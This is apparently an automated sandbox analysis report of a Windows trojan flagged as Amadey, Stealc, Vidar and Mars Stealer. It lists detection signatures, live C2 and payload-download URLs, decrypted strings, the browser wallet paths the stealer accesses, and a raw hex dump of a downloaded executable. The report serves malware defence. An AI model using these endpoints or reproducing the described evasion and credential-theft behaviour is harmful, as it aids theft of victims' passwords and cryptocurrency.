Windows Analysis Report
So7a8eQerR.exe

Overview

General Information

Sample name: So7a8eQerR.exe
renamed because original name is a hash value
Original sample name: 1608caccc377a28575b839e3eec49314.exe
Analysis ID: 1467933
MD5: 1608caccc377a28575b839e3eec49314
SHA1: ee0126916f65d88e92248d9c1bbe5ee2883d2abe
SHA256: bf54e9ba7f3f8d09aedef4e6d9d377f16bb085cb5353352a3f1bb5d17f3e1263
Tags: 32exetrojan
Infos:

Detection

Amadey, Mars Stealer, Stealc, Vidar
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Found malware configuration
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Snort IDS alert for network traffic
Yara detected Amadeys stealer DLL
Yara detected Mars stealer
Yara detected Stealc
Yara detected Vidar stealer
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Machine Learning detection for dropped file
Machine Learning detection for sample
PE file contains section with special chars
PE file has nameless sections
Sample uses string decryption to hide its real strings
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal Bitcoin Wallet information
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Tries to steal Mail credentials (via file / registry access)
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Checks for debuggers (devices)
Checks if the current process is being debugged
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to dynamically determine API calls
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Entry point lies outside standard sections
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses code obfuscation techniques (call, push, ret)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
Amadey Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey
Name Description Attribution Blogpost URLs Link
Stealc Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc
Name Description Attribution Blogpost URLs Link
Vidar Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: So7a8eQerR.exe Avira: detected
Antivirus detection for URL or domain
Source: http://85.28.47.30/69934896f997d5bb/softokn3.dll Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/softokn3.dllVr7 Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exe Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/freebl3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/freebl3.dll= Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/nss3.dllk Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/nss3.dlls Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/nss3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/sqlite3.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/nss3.dll;W Avira URL Cloud: Label: malware
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/sqlite3.dllK Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/vcruntime140.dll3 Avira URL Cloud: Label: malware
Source: http://85.28.47.30/920475a59bac849d.phpW Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe00 Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/ Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/nss3.dllzW Avira URL Cloud: Label: malware
Source: http://85.28.47.30/920475a59bac849d.php Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/msvcp140.dll.s/ Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/msvcp140.dll Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exe Avira URL Cloud: Label: malware
Source: http://77.91.77.81/cost/go.exeData Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/cost/go.exe00 Avira URL Cloud: Label: phishing
Source: http://77.91.77.81/mine/amadka.exea Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/softokn3.dllq Avira URL Cloud: Label: malware
Source: http://85.28.47.30/69934896f997d5bb/mozglue.dll Avira URL Cloud: Label: malware
Source: http://77.91.77.81/stealc/random.exeH Avira URL Cloud: Label: phishing
Source: http://85.28.47.30/69934896f997d5bb/msvcp140.dllvs Avira URL Cloud: Label: malware
Source: http://85.28.47.30 Avira URL Cloud: Label: malware
Source: http://77.91.77.81/mine/amadka.exe.phpefoxx Avira URL Cloud: Label: phishing
Antivirus detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Found malware configuration
Source: 00000004.00000002.1962741464.0000000001EDE000.00000004.00000020.00020000.00000000.sdmp Malware Configuration Extractor: StealC {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: 15.2.586ef238b2.exe.200000.0.unpack Malware Configuration Extractor: Vidar {"C2 url": "http://85.28.47.30/920475a59bac849d.php"}
Source: explorti.exe.7888.3.memstrmin Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php", "http://77.91.77.82/Hun4Ko/index.php"]}
Multi AV Scanner detection for domain / URL
Source: http://77.91.77.81/mine/amadka.exe Virustotal: Detection: 26% Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpQ Virustotal: Detection: 22% Perma Link
Source: http://77.91.77.81/cost/go.exe Virustotal: Detection: 27% Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php Virustotal: Detection: 24% Perma Link
Source: http://77.91.77.82/Hun4Ko/index.phpmespace Virustotal: Detection: 25% Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php/Hun4Ko/index.php Virustotal: Detection: 22% Perma Link
Source: http://77.91.77.82/Hun4Ko/index.php= Virustotal: Detection: 21% Perma Link
Source: http://77.91.77.81/mine/amadka.exe00 Virustotal: Detection: 25% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe ReversingLabs: Detection: 42%
Multi AV Scanner detection for submitted file
Source: So7a8eQerR.exe ReversingLabs: Detection: 42%
Source: So7a8eQerR.exe Virustotal: Detection: 47% Perma Link
AI detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\amadka[1].exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Joe Sandbox ML: detected
Machine Learning detection for sample
Source: So7a8eQerR.exe Joe Sandbox ML: detected
Sample uses string decryption to hide its real strings
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: INSERT_KEY_HERE
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetProcAddress
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: LoadLibraryA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: lstrcatA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: OpenEventA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CreateEventA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CloseHandle
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: Sleep
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetUserDefaultLangID
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: VirtualAllocExNuma
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: VirtualFree
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetSystemInfo
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: VirtualAlloc
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: HeapAlloc
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetComputerNameA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: lstrcpyA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetProcessHeap
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetCurrentProcess
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: lstrlenA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: ExitProcess
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GlobalMemoryStatusEx
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetSystemTime
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: SystemTimeToFileTime
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: advapi32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: gdi32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: user32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: crypt32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: ntdll.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetUserNameA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CreateDCA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetDeviceCaps
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: ReleaseDC
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CryptStringToBinaryA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: sscanf
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: VMwareVMware
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: HAL9TH
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: JohnDoe
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: DISPLAY
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: %hu/%hu/%hu
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: http://85.28.47.30
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: /920475a59bac849d.php
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: /69934896f997d5bb/
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: Nice
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetEnvironmentVariableA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetFileAttributesA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GlobalLock
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: HeapFree
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetFileSize
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GlobalSize
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CreateToolhelp32Snapshot
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: IsWow64Process
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: Process32Next
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetLocalTime
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: FreeLibrary
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetTimeZoneInformation
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetSystemPowerStatus
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetVolumeInformationA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetWindowsDirectoryA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: Process32First
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetLocaleInfoA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetUserDefaultLocaleName
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetModuleFileNameA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: DeleteFileA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: FindNextFileA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: LocalFree
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: FindClose
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: SetEnvironmentVariableA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: LocalAlloc
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetFileSizeEx
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: ReadFile
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: SetFilePointer
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: WriteFile
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CreateFileA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: FindFirstFileA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CopyFileA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: VirtualProtect
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetLogicalProcessorInformationEx
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetLastError
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: lstrcpynA
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: MultiByteToWideChar
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GlobalFree
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: WideCharToMultiByte
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GlobalAlloc
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: OpenProcess
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: TerminateProcess
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: GetCurrentProcessId
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: gdiplus.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: ole32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: bcrypt.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: wininet.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: shlwapi.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: shell32.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: psapi.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: rstrtmgr.dll
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: CreateCompatibleBitmap
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: SelectObject
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: BitBlt
Source: 15.2.586ef238b2.exe.200000.0.unpack String decryptor: DeleteObject
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Code function: 4_2_6C066C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer, 4_2_6C066C80
Uses 32bit PE files
Source: So7a8eQerR.exe Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
Source: Binary string: mozglue.pdbP source: 37664d9843.exe, 00000004.00000002.1984416281.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, 586ef238b2.exe, 0000000F.00000002.3360531136.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source: Binary string: freebl3.pdb source: freebl3.dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr
Source: Binary string: freebl3.pdbp source: freebl3.dll.4.dr, freebl3[1].dll.15.dr, freebl3[1].dll.4.dr
Source: Binary string: nss3.pdb@ source: 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr
Source: Binary string: softokn3.pdb@ source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.4.dr, vcruntime140[1].dll.4.dr, vcruntime140[1].dll.15.dr
Source: Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.4.dr, msvcp140[1].dll.15.dr
Source: Binary string: nss3.pdb source: 37664d9843.exe, 00000004.00000002.1984622236.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, 586ef238b2.exe, 0000000F.00000002.3360962751.000000006C28F000.00000002.00000001.01000000.0000000A.sdmp, nss3[1].dll.4.dr, nss3[1].dll.15.dr, nss3.dll.4.dr
Source: Binary string: mozglue.pdb source: 37664d9843.exe, 00000004.00000002.1984416281.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, 586ef238b2.exe, 0000000F.00000002.3360531136.000000006C0CD000.00000002.00000001.01000000.0000000B.sdmp, mozglue[1].dll.15.dr, mozglue[1].dll.4.dr, mozglue.dll.4.dr
Source: Binary string: softokn3.pdb source: softokn3[1].dll.4.dr, softokn3[1].dll.15.dr, softokn3.dll.4.dr
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\ Jump to behavior

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.4:49730 -> 77.91.77.82:80
Source: Traffic Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.82:80 -> 192.168.2.4:49730
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor URLs: http://85.28.47.30/920475a59bac849d.php
Source: Malware configuration extractor IPs: 77.91.77.82
Source: Malware configuration extractor IPs: 77.91.77.82
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 05 Jul 2024 02:23:05 GMTContent-Type: application/octet-streamContent-Length: 2544640Last-Modified: Thu, 04 Jul 2024 23:59:33 GMTConnection: keep-aliveETag: "66873765-26d400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4a 8c 64 5a 0e ed 0a 09 0e ed 0a 09 0e ed 0a 09 61 9b a1 09 16 ed 0a 09 61 9b 94 09 03 ed 0a 09 61 9b a0 09 35 ed 0a 09 07 95 89 09 0d ed 0a 09 07 95 99 09 0c ed 0a 09 8e 94 0b 08 0d ed 0a 09 0e ed 0b 09 5a ed 0a 09 61 9b a5 09 01 ed 0a 09 61 9b 97 09 0f ed 0a 09 52 69 63 68 0e ed 0a 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c8 e6 86 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ac 01 00 00 e8 21 00 00 00 00 00 94 1a c0 00 00 10 00 00 00 c0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 c0 00 00 04 00 00 00 00 00 00 02 00 40 80 00 00 20 00 00 20 00 00 00 00 20 00 00 20 00 00 00 00 00 00 10 00 00 00 20 c0 9d 00 87 0d 00 00 a8 cd 9d 00 0c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 9d 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 01 00 00 10 00 00 00 a4 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 80 00 00 00 c0 01 00 00 40 00 00 00 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 30 21 00 00 40 02 00 00 04 00 00 00 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 50 00 00 00 70 23 00 00 20 00 00 00 ec 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 d0 79 00 00 c0 23 00 00 28 03 00 00 0c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 64 61 74 61 00 00 00 00 a0 22 00 00 90 9d 00 00 a0 22 00 00 34 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
